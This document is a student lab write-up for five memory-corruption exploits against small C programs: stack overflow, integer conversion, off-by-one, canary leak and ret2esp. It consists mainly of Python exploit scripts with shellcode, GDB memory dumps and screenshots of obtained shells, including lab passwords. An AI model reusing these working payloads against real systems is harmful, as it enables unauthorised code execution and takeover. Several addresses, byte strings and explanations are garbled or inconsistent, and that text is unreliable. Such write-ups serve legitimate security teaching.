

1. Security Vulnerability: Stack overflow

```
#include <stdio.h>

void deja_vu()
{
    /* Hopefully we won't see two black cats running through... */
    char door[8];
    gets(door);
}

int main()
{
    deja_vu();
    return 0;
}
```

The door array has only 8 bytes of allocated space, and there are no bound-checking measures so an adversary can stack smash to overwrite the return address. The \$ebp is at 0xbffffae8 and so the return address is 4 bytes after: 0xbffffaec. If we overwrite the value at address 0xbffffae with 0xffffaf0 and place the shell code at address 0xffffaf0 onward, we can force the control of deja_vu() afterwards to switch to the shellcode at 0xffffaf0. Thus, we first fill the buffer with 20 bytes of filler content -- I used the null pointer equivalent "\x90" -- and then 0xffffaf0, and then the shell code.

(door[8])	(ebp)	(return address = 0xbffffaf0)	(shell code)
0xbffffad8	0xbffffae8	0xbffffaec	0xbffffaf0

```
#!/usr/bin/env python
print("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+ "\xf0\xfa\xff\xbf" + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" +
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40xcd\x80" +
"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")
```

Before

```
(gdb) x/40xw door
0xbffffad8: 0xbffffb9c 0xb7e5f225 0xb7fed270 0x00000000
0xbffffaa8: 0xbffffaf8 0x0804842a 0x08048440 0x00000000
0xbffffa08: 0x00000000 0xb7e454d3 0x00000001 0xbffffb9c
0xbffffb08: 0xbffffb9c 0xb7fdc858 0x00000000 0xbffffb1c
0xbffffb18: 0xbffffb9c 0x00000000 0x0804821c 0xb7fd2000
0xbffffb28: 0x00000000 0x00000000 0x00000000 0xaeab8756
0xbffffb38: 0x99e75196 0x00000000 0x00000000 0x00000000
0xbffffb48: 0x00000001 0x08048320 0x00000000 0xb7ff26a0
0xbffffb58: 0xb7e453e9 0xb7fff000 0x00000001 0x08048370
0xbffffb68: 0x00000000 0x08048341 0x0804841f 0x00000001
(gdb) print $ebp
$2 = (void *) 0xbffffaa8
(gdb)
```

After

```
(gdb) x/40xw door
0xbffffad8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffaef: 0x90909090 0xbffffaf0: 0x895e1feb 0xc0310876
0xbffffaf8: 0x89074808 0x0bb00c46 0x4e8df399 0xc05680d8
0xbffffb08: 0xdb3148dc 0xcd4d0d89 0xfdc8e80 0x622fffff
0xbffffb18: 0x732f6e69 0x00000068 0x0084821c 0x87fd2000
0xbffffb28: 0x00000000 0x00000000 0x87d945ad 0x00000000
0xbffffb38: 0xb08661bd 0x00000000 0x00000000 0x00000000
0xbffffb48: 0x00000000 0x000048320 0x00000000 0xb77f26a0
0xbffffb58: 0xb7e453e9 0x00000000 0x000048320 0x000048320
0xbffffb68: 0x00000000 0x00048341 0x000484f1 0x00000001
```

2. Security vulnerability: Integer conversion

```
void display(const char *path)
{
    char msg[128];
    int8_t size;
    memset(msg, 0, 128);

    FILE *file = fopen(path, "r");
    size_t n = fread(&size, 1, 1, file);
    if (n == 0 || size > 128)
        return;
    n = fread(msg, 1, size, file);

    puts(msg);
}
```

The program first takes in a size before the payload, but size_t is an unsigned int, so if we send an overflowed two-byte sequence -- "\xff" -- the negative value will pass the if condition, but it will be casted as a large integer because of the unsigned-signed conversion and allow for buffer overflow. Thus we first send a negative n -- "\xff\x00\x00\x00" -- followed by 36 words of filler content, then we override the return address which is at address 0xbffffabc with the value 0xbffffac0, then followed by the shell code. After display() finishes its frame, control goes toward the shell code which executes.

(msg)	(ebp)	(return address = 0xbffffac0)	(shell code)
0xbffffa28	(0xbffffab8)	0xbffffabc	0xbffffac0

```
#!/usr/bin/env python
print("\xff\x00\x00\x00" + "\x90\x90\x90\x90" * (36) + "\x90" + "\xc0\xfa\xff\xbf" +
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" +
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" +
"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")
```

Before

```
(gdb) x/40xw &msg
0xbffffa28: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa38: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa48: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa58: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa68: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa78: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa88: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa98: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffaa8: 0x00000054 0x0004b008 0x00000002 0xbffffb74
0xbffffab8: 0xbffffad8 0x0004857b 0xbffffc77 0x00000000
(gdb) print &size
$8 = (int8_t *) 0xbffffa27 "\377"
(gdb) print size
$9 = -1 '\377'
```

After

```
(gdb) x/40xw &msg
0xbffffa28: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa38: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa48: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa58: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa68: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa78: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa88: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffa98: 0x90000000 0x90000000 0x90000000 0x90000000
0xbffffaa8: 0x000000c6 0x90000000 0x90000000 0x90000000
0xbffffab8: 0x90000000 0xbffffac0 0x895e1feb 0xc0310876
(gdb) print &size
$4 = (int8_t *) 0xbffffa27 "\377"
(gdb) print size
$5 = -1 '\377'
(gdb) print $ebp
$6 = (void *) 0xbffffab8
```

3. Security vulnerability: off-by-one

```
void flip(char *buf, const char *input)
{
    size_t n = strlen(input);
    int i;
    for (i = 0; i < n && i <= 64; ++i)
        buf[i] = input[i] ^ (1u << 5);

    while (i < 64)
        buf[i++] = '\0';
}

void invoke(const char *in)
{
    char buf[64];
    flip(buf, in);
    puts(buf);
}

void dispatch(const char *in)
{
    invoke(in);
}
```

The first for loop of flip has an off-by-one inequality (i.e $i \leq 64$ should be $i < 64$) which we can use to manipulate flow of the program to create a pseudo-frame in which we can inject malicious shellcode into. Because of the off-by-one vulnerability, we can override the last two bits of the saved ebp, which should point to the frame which called the current frame and in this case invoke `flip`. The overwritten ebp for our attack will be the same address as our buffer (i.e `0xbfffa28`). By overwriting the saved ebp to the lower address which is at the buffer, the pseudo frame from the control switch treats `0xbfffa28` and `0xbfffa2c` as the saved ebp and return address for this frame respectively. Thus, by filling the first 2 words of the buffer with filler and then the return address with the value of the following word (i.e `0xbfffa30`), then filling the rest of the buffer with the shellcode. However, this concatenation does not overflow the buffer so we pad it with 11 chars followed by `"x28"` which is the last two bits of the buffer address. This switches control of the pseudo-frame to the shell code which executes thinking it is a non-malicious frame.

```
#!/usr/bin/env python
inject = "\x90\x90\x90\x90"+" \x30\xfa\xff\xbf"+" \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+" \x89\x
..46\x0c\xbd\x0b\x89\xf3\x8d\x4e\x08\x8d"+" \xb0\x56\x0c\xcd\x80\x31\xdb\x89\xdb\x40\xcd\x80"+" \xe8\xdc\xff
.. \xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"aaaaaaaa" + "\x28"
xorinject = ""
for char in inject:
    xorinject += chr(ord(char)^(1 << 5))
#print(len(xorinject))
print(xorinject)
```

Before

```
(gdb) info frame
Stack level 0, frame at 0xbfffa380:
eip = 0x0804b41d in dispatch (address-brown.c:26): saved eip 0x41414141
called by frame at 0xbfffa34
source language c.
Arglist at 0xbfffa28, args: in=0x41414141 <Address 0x41414141 out of bounds>
Locals at 0xbfffa28, Previous frame's sp is 0xbfffa38
Saved registers:
ebp at 0xbfffa28, eip at 0xbfffa2c
(gdb) x/40xb buf
No symbol "buf" in current context.
(gdb) x/40x $ebp
0xbfffa28: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffa38: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffa48: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffa58: 0xbfffa28 0x0804b41d 0xbfffc3c 0xbfffa78
0xbfffa68: 0xbfffa38 0x0804b45c 0xbfffc3c 0x0804b55c
0xbfffa78: 0xbfffaa8 0xbfffaa8 0xbfffa5d 0xbfffa80
0xbfffa88: 0x00000000 0xb7e454d3 0x80e042b0 0xbfffa90
0xbfffa98: 0x00000000 0xb7e454d3 0x00000000 0xbfffb44
0xbfffaa8: 0xbfffbf5e 0xb7fdcc58 0x00000000 0xbfffbfc
```

After

```
(gdb) info frame
Stack level 0, frame at 0xbffffa30:
 eip = 0x804841d in dispatch (agent-brown.c:26); saved eip 0xbffffa30
 called by frame at 0x90909098
 source language c.
 Arglist at 0xbffffa28, args: in=0x895e1feb <Address 0x895e1feb out of bounds>
 Locals at 0xbffffa28, Previous frame's sp is 0xbffffa30
 Saved registers:
  ebp at 0xbffffa28, eip at 0xbffffa2c
(gdb) x/40x $ebp
0xbffffa28: 0x90909090 0xbffffa30 0x895e1feb 0xc0310876
0xbffffa38: 0x89074688 0x0bb0c46 0x4e8df389 0xc568d08
0xbffffa48: 0xdb3180cd 0xcd40d889 0xffdce880 0x622fffff
0xbffffa58: 0x732f6e69 0x61616168 0x61616161 0x61616161
0xbffffa68: 0xbffffa28 0x0804841d 0xbfffc3c 0xbffffa78
0xbffffa78: 0xbffffa98 0x0804845c 0xbfffc3c 0x0804965c
0xbffffa88: 0xbffffaa8 0xbffffab0 0xb7fed270 0xbffffab0
0xbffffa98: 0x00000000 0xb7e454d3 0x080484b0 0x00000000
0xbffffaa8: 0x00000000 0xb7e454d3 0x00000002 0xbffffb44
0xbffffab8: 0xbffffb50 0xb7dc858 0x00000000 0xbffffb1c
```


4. Security vulnerability: format string conversion

```
void dehexify() {
    char buffer[BUFLen];
    char answer[BUFLen];
    int i = 0, j = 0;

    gets(buffer);

    while (buffer[i]) {
        if (buffer[i] == '\\' && buffer[i+1] == 'x') {
            int top_half = nibble_to_int(buffer[i+2]);
            int bottom_half = nibble_to_int(buffer[i+3]);
            answer[j] = top_half << 4 | bottom_half;
            i += 3;
        } else {
            answer[j] = buffer[i];
        }
        i++; j++;
    }
}
```

Due to the format string conversion from HEX to ASCII, the sequence “\x” -- we use “\x” in the Python script to denote “x” when printing -- allows the user to read sequences in memory that they are not normally supposed to read. The general technique is to find the canary values through the “\x” exploit, which allows the attacker to buffer overflow without canary detection. Thus, we first fill our buffer of a 16 byte size with “haha” * 3 + “h”, then “\xd” to skip the “\x00” of the canary to find the rest of the values since we know the lowest digits will always lead with “\x00”. Sending this sequence will reveal the canary, which allows us to do buffer overflow, filling in the canary value in between to prevent the program from detecting malicious code injection. Thus, we send filler (of 16 bytes) + canary (revealed through our first p.send) + filler (there is more filler content after the canary before the return address) + newReturnAddress (which is 0xbffffaf4) + SHELLCODE + “\n” -- showing that this is the end of our sending sequence).

```
hack = "haha" * 3 + "h\\xd" + "\n"
p.send(hack)
canary = "\x00" + p.recvline()[14:17]

filler = "\x90"*4 #"hehe"
morefiller = "x" * 16
newReturnAddress = "\xf4\xfa\xff\xbf"
final = morefiller + canary + filler + newReturnAddress + SHELLCODE + "\n"
p.send(final)
```

The highlighted text below is the canary, the word followed after is filler content, and after is the return address.

```
((gdb) x/40x answer
0xbffffac8: 0x64636261 0x64636261 0x00000000 0xbffffaf8
0xbffffad8: 0x64636261 0x64636261 0xb7e94f00 0x00000000
0xbffffae8: 0x4d854e00 0xbffffaf8 0x08048637 0xb7fd2ac0
0xbffffaf8: 0x00000000 0xb7e454d3 0x00000001 0xbffffb94
0xbffffb08: 0xbffffb9c 0xb7fd858 0x00000000 0xbffffb1c
0xbffffb18: 0xbffffb9c 0x00000000 0x08048288 0xb7fd2000
0xbffffb28: 0x00000000 0x00000000 0x00000000 0xacff40e6
0xbffffb38: 0x9ba064f6 0x00000000 0x00000000 0x00000000
0xbffffb48: 0x00000001 0x08048450 0x00000000 0xb7ff26a0
0xbffffb58: 0xb7e453e9 0xb7fff000 0x00000001 0x08048450
```

5. Security vulnerability: ret2esp attack

```
unsigned int magic(unsigned int i, unsigned int j)
{
    i ^= j << 3;
    j ^= i << 3;
    i |= 58623;
    j %= 0x42;
    return i & j;
}
```

```
(gdb) x/i 0x08048619
0x08048619 <magic+21>:      orl    $0xe4ff,0x8(%ebp)
(gdb) x/i 0x0804861c
0x0804861c <magic+24>:      jmp    *%esp
(gdb) disassem magic
Dump of assembler code for function magic:
0x08048604 <+0>:      push  %ebp
0x08048605 <+1>:      mov  %esp,%ebp
0x08048607 <+3>:      mov  0xc(%ebp),%eax
0x0804860a <+6>:      shl  $0x3,%eax
0x0804860d <+9>:      xor  %eax,0x8(%ebp)
0x08048610 <+12>:     mov  0x8(%ebp),%eax
0x08048613 <+15>:     shl  $0x3,%eax
0x08048616 <+18>:     xor  %eax,0xc(%ebp)
0x08048619 <+21>:     orl  $0xe4ff,0x8(%ebp)
```

```

ssize_t io(int socket, size_t n, char *buf)
{
    recv(socket, buf, n << 3, MSG_WAITALL);
    size_t i = 0;
    while (buf[i] && buf[i] != '\n' && i < n)
        buf[i++] ^= 0x42;
    return i;
    send(socket, buf, n, 0);
}

```

```

(gdb) info frame
Stack level 0, frame at 0xbffffa90:
    eip = 0x8048714 in handle (agent-jones.c:40); saved eip 0x80488cc
    called by frame at 0xbffffaf0
    source language c.
    Arglist at 0xbffffa88, args: client=8
    Locals at 0xbffffa88, Previous frame's sp is 0xbffffa90
    Saved registers:
        ebx at 0xbffffa80, ebp at 0xbffffa88, edi at 0xbffffa84, eip at 0xbffffa8c
(gdb) print buffer
No symbol "buffer" in current context.
(gdb) print buf
$1 = '\000' <repeats 3359 times>
(gdb) print &buf
$2 = (char (*)[3360]) 0xbfffed60
(gdb) p 0xbffffa8c - 0xbfffed60
$3 = 3372

```

Since we have 58623, encoded in decimal, which corresponds to the jump *esp instruction, we can use the ret2esp attack. Also, due to the shifted size in the io() function, we are allowed to fill in the buffer 2³ more than intended. Thus, the goal of this attack is to find the \$eip which is at 0xbffffa8c and override the value with the address of the jump *esp instruction, which we find through disassemble magic, to be 0x8048961c. Since the relative addressing is not changed by ASLR, the jump *esp will always be in the same location in memory. Thus, we find that buf[BUFSIZE] in handle() within the stack starts at address 0xbfffed60. The difference between the \$eip (i.e 0xbffffa8c) and buf is 3372 bytes. Thus, since we can fill more than intended in the buf because of the left shift by three, and we know the relative distance between the \$eip and buf, and we also know the instruction address of jump *esp, we can build an input with 3372 bytes of filler followed by the return address of the jump *esp instruction followed by the shellcode. The jump instruction fools the program to jump exactly a word above (address-wise) because its saved esp within that frame is that address, and then this jump treats the shellcode as instructions to follow which maliciously executes.

```

#!/usr/bin/env python
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" + "\x80\x5b\x5e\x52\x68\x02\x0
...0\x1a\x0a\x6a\x10\x51\x50\x89" + "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" + "\x80
... \x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" + "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x
...69\x6e\x89\xe3" + "\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print("a" * 3372 + "\x1c\x86\x04\x08" + shellcode)

```

Successful Hack Screenshots

```
[whoami  
smith  
[cat README  
Welcome to the real world.  
  
user: smith  
pass: 37ZFB rAPm8  
█
```

```
jz@pwnable:/home/smith$ invoke exploit  
/home/smith/exploit: 2: /home/smith/exploit: cannot create pwnzerized: Permission denied  
  
$ whoami  
brown
```

```
$ whoami  
jz  
$ cat README  
Perhaps we are asking the wrong questions.  
  
user: jz  
pass: cqkeuevfIO
```

```
[jz@pwnable:~$ ./exploit  
Welcome to the desert of the real.  
  
user: jones  
pass: Bw6eAWXM8  
Welcome to the desert of the real.
```

```
agent-jones agent-jones.c debug-exploit egg exploit PWNE  
[jones@pwnable:~$ ./exploit  
sending exploit...  
connecting to 0wned machine...  
[whomai  
/bin//sh: 1: whomai: not found  
[whoami  
root  
█
```